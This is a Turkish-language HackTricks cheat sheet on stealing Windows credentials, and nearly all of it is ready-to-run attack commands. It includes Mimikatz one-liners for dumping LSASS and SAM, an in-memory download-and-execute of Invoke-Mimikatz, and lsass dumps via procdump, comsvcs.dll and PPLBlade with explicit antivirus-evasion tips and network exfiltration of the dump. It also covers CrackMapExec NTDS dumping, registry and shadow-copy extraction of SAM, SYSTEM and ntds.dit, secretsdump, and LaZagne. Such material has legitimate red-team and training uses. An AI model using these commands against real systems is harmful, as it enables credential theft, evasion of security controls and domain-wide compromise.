Windows Kimlik Bilgilerini Çalma
Reading time: 10 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Kimlik Bilgileri Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Mimikatz'in yapabileceği diğer şeyleri bu sayfada** bulun.**
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
Burada bazı olası kimlik bilgisi korumalarını öğrenin. Bu korumalar, Mimikatz'ın bazı kimlik bilgilerini çıkarmasını engelleyebilir.
Meterpreter ile Kimlik Bilgileri
Kurbanın içinde şifreler ve hash'ler aramak için oluşturduğum Credentials Plugin'i kullanın.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
AV'yi Atlatma
Procdump + Mimikatz
Procdump from SysInternals , meşru bir Microsoft aracıdır, Defender tarafından tespit edilmez.
Bu aracı kullanarak lsass sürecini dökebilir, dökümü indirebilir ve dökümden kimlik bilgilerini yerel olarak çıkarabilirsiniz.
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
Bu işlem otomatik olarak SprayKatz ile gerçekleştirilir: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
Not: Bazı AV yazılımları procdump.exe'nin lsass.exe'yi dökümlemesi işlemini kötü amaçlı olarak tespit edebilir, bu da "procdump.exe" ve "lsass.exe" dizelerini tespit etmelerindendir. Bu nedenle, procdump'a lsass.exe'nin adı yerine lsass.exe'nin PID'sini argüman olarak geçmek daha gizli bir yöntemdir.
comsvcs.dll ile lsass'ı dökme
C:\Windows\System32
dizininde bulunan comsvcs.dll adlı bir DLL, bir çökme durumunda işlem belleğini dökmekten sorumludur. Bu DLL, rundll32.exe
kullanılarak çağrılmak üzere tasarlanmış MiniDumpW
adlı bir fonksiyon içerir.
İlk iki argümanı kullanmak önemsizdir, ancak üçüncü argüman üç bileşene ayrılır. Dökülecek işlem kimliği ilk bileşeni, döküm dosyası konumu ikinciyi temsil eder ve üçüncü bileşen kesinlikle full kelimesidir. Alternatif seçenek yoktur.
Bu üç bileşen ayrıştırıldığında, DLL döküm dosyasını oluşturmakta ve belirtilen işlemin belleğini bu dosyaya aktarmaktadır.
comsvcs.dll kullanımı, lsass işlemini dökmek için mümkündür, böylece procdump'ı yükleyip çalıştırma ihtiyacı ortadan kalkar. Bu yöntem https://en.hackndo.com/remote-lsass-dump-passwords/ adresinde ayrıntılı olarak açıklanmıştır.
Aşağıdaki komut çalıştırmak için kullanılır:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Bu süreci lssasy** ile otomatikleştirebilirsiniz.**
Görev Yöneticisi ile lsass Dökümü
- Görev Çubuğuna sağ tıklayın ve Görev Yöneticisi'ni tıklayın
- Daha fazla ayrıntı'ya tıklayın
- İşlemler sekmesinde "Yerel Güvenlik Otoritesi Süreci" işlemini arayın
- "Yerel Güvenlik Otoritesi Süreci" işlemine sağ tıklayın ve "Döküm dosyası oluştur" seçeneğine tıklayın.
Procdump ile lsass Dökümü
Procdump, sysinternals paketinin bir parçası olan Microsoft imzalı bir ikilidir.
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
Dumpin lsass with PPLBlade
PPLBlade Korunan Süreç Döküm Aracı, bellek dökümünü obfuscate etme ve bunu uzaktaki iş istasyonlarına disk üzerine bırakmadan aktarma desteği sunar.
Ana işlevler:
- PPL korumasını aşma
- Defender imza tabanlı tespit mekanizmalarından kaçınmak için bellek döküm dosyalarını obfuscate etme
- Bellek dökümünü RAW ve SMB yükleme yöntemleriyle disk üzerine bırakmadan (dosyasız döküm) yükleme
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
CrackMapExec
SAM hash'lerini dökme
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
LSA sırlarını dökme
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
Hedef DC'den NTDS.dit'i Dökme
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Hedef DC'den NTDS.dit şifre geçmişini dökme
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
Her NTDS.dit hesabı için pwdLastSet niteliğini gösterin
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
SAM & SYSTEM Çalma
Bu dosyalar C:\windows\system32\config\SAM ve C:\windows\system32\config\SYSTEM içinde bulunmalıdır. Ancak bunları sıradan bir şekilde kopyalayamazsınız çünkü korunmaktadırlar.
Kayıt Defterinden
Bu dosyaları çalmanın en kolay yolu, kayıt defterinden bir kopya almaktır:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
Kali makinenize bu dosyaları indirin ve hash'leri çıkartın:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Volume Shadow Copy
Bu hizmeti kullanarak korunan dosyaların kopyasını alabilirsiniz. Yönetici olmanız gerekir.
Using vssadmin
vssadmin ikili dosyası yalnızca Windows Server sürümlerinde mevcuttur.
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Ama bunu Powershell ile de yapabilirsiniz. Bu, SAM dosyasını kopyalama örneğidir (kullanılan sabit disk "C:" ve C:\users\Public'e kaydediliyor) ancak bunu herhangi bir korumalı dosyayı kopyalamak için de kullanabilirsiniz:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
Invoke-NinjaCopy
Son olarak, SAM, SYSTEM ve ntds.dit dosyalarının bir kopyasını oluşturmak için PS script Invoke-NinjaCopy kullanabilirsiniz.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Active Directory Kimlik Bilgileri - NTDS.dit
NTDS.dit dosyası, Active Directory'nin kalbi olarak bilinir ve kullanıcı nesneleri, gruplar ve bunların üyelikleri hakkında kritik verileri tutar. Bu dosya, alan kullanıcıları için şifre karma bilgilerini depolar. Bu dosya, Genişletilebilir Depolama Motoru (ESE) veritabanıdır ve %SystemRoom%/NTDS/ntds.dit konumunda bulunur.
Bu veritabanında üç ana tablo bulunmaktadır:
- Veri Tablosu: Bu tablo, kullanıcılar ve gruplar gibi nesneler hakkında ayrıntıları depolamakla görevlidir.
- Bağlantı Tablosu: Grup üyelikleri gibi ilişkileri takip eder.
- SD Tablosu: Her nesne için Güvenlik tanımlayıcıları burada tutulur ve depolanan nesnelerin güvenliği ve erişim kontrolünü sağlar.
Bunun hakkında daha fazla bilgi: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
Windows, bu dosyayla etkileşimde bulunmak için Ntdsa.dll kullanır ve lsass.exe tarafından kullanılır. Ardından, NTDS.dit dosyasının bir kısmı lsass
belleği içinde bulunabilir (performans iyileştirmesi nedeniyle muhtemelen en son erişilen verileri bulabilirsiniz, çünkü bir önbellek kullanılır).
NTDS.dit içindeki hash'leri çözme
Hash, 3 kez şifrelenmiştir:
- BOOTKEY ve RC4 kullanarak Şifre Çözme Anahtarını (PEK) çözün.
- PEK ve RC4 kullanarak hash'i çözün.
- DES kullanarak hash'i çözün.
PEK, her alan denetleyicisinde aynı değere sahiptir, ancak NTDS.dit dosyası içinde alan denetleyicisinin SYSTEM dosyasının BOOTKEY'i kullanılarak şifrelenmiştir (alan denetleyicileri arasında farklıdır). Bu nedenle, NTDS.dit dosyasından kimlik bilgilerini almak için NTDS.dit ve SYSTEM dosyalarına ihtiyacınız vardır (C:\Windows\System32\config\SYSTEM).
Ntdsutil kullanarak NTDS.dit kopyalama
Windows Server 2008'den beri mevcuttur.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
Hacim gölgesi kopyası hilesini kullanarak ntds.dit dosyasını kopyalayabilirsiniz. SYSTEM dosyasının da bir kopyasına ihtiyacınız olacağını unutmayın (yine, bunu kayıt defterinden dökün veya hacim gölgesi kopyası hilesini kullanın).
NTDS.dit'ten hash'leri çıkarmak
NTDS.dit ve SYSTEM dosyalarını edindiğinizde, secretsdump.py gibi araçları kullanarak hash'leri çıkartabilirsiniz:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
Ayrıca geçerli bir alan yöneticisi kullanarak bunları otomatik olarak çıkarabilirsiniz:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
Büyük NTDS.dit dosyaları için, gosecretsdump kullanarak çıkartılması önerilir.
Son olarak, metasploit modülünü de kullanabilirsiniz: post/windows/gather/credentials/domain_hashdump veya mimikatz lsadump::lsa /inject
NTDS.dit'ten bir SQLite veritabanına alan nesnelerini çıkartma
NTDS nesneleri, ntdsdotsqlite ile bir SQLite veritabanına çıkartılabilir. Sadece gizli bilgiler değil, aynı zamanda ham NTDS.dit dosyası zaten alındığında daha fazla bilgi çıkartma için tüm nesneler ve nitelikleri de çıkartılır.
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
SYSTEM
hivesi isteğe bağlıdır ancak gizli verilerin şifre çözümüne izin verir (NT & LM hash'leri, düz metin şifreler, kerberos veya güven ilişkisi anahtarları, NT & LM şifre geçmişleri gibi ek kimlik bilgileri). Diğer bilgilerle birlikte, aşağıdaki veriler çıkarılır: hash'leri ile kullanıcı ve makine hesapları, UAC bayrakları, son oturum açma ve şifre değiştirme zaman damgası, hesap açıklamaları, adlar, UPN, SPN, gruplar ve özyinelemeli üyelikler, organizasyonel birim ağacı ve üyelik, güvenilir alanlar ile güven ilişkisi türü, yönü ve nitelikleri...
Lazagne
Binariesi buradan indirin. Bu binary'i çeşitli yazılımlardan kimlik bilgilerini çıkarmak için kullanabilirsiniz.
lazagne.exe all
SAM ve LSASS'tan kimlik bilgilerini çıkarmak için diğer araçlar
Windows credentials Editor (WCE)
Bu araç, bellekten kimlik bilgilerini çıkarmak için kullanılabilir. Şuradan indirebilirsiniz: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
SAM dosyasından kimlik bilgilerini çıkarın.
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
SAM dosyasından kimlik bilgilerini çıkarın
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
Bunu buradan indirin: http://www.tarasco.org/security/pwdump_7 ve sadece çalıştırın ve şifreler çıkarılacaktır.
Defenses
Bazı kimlik bilgisi korumaları hakkında burada bilgi edinin.
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.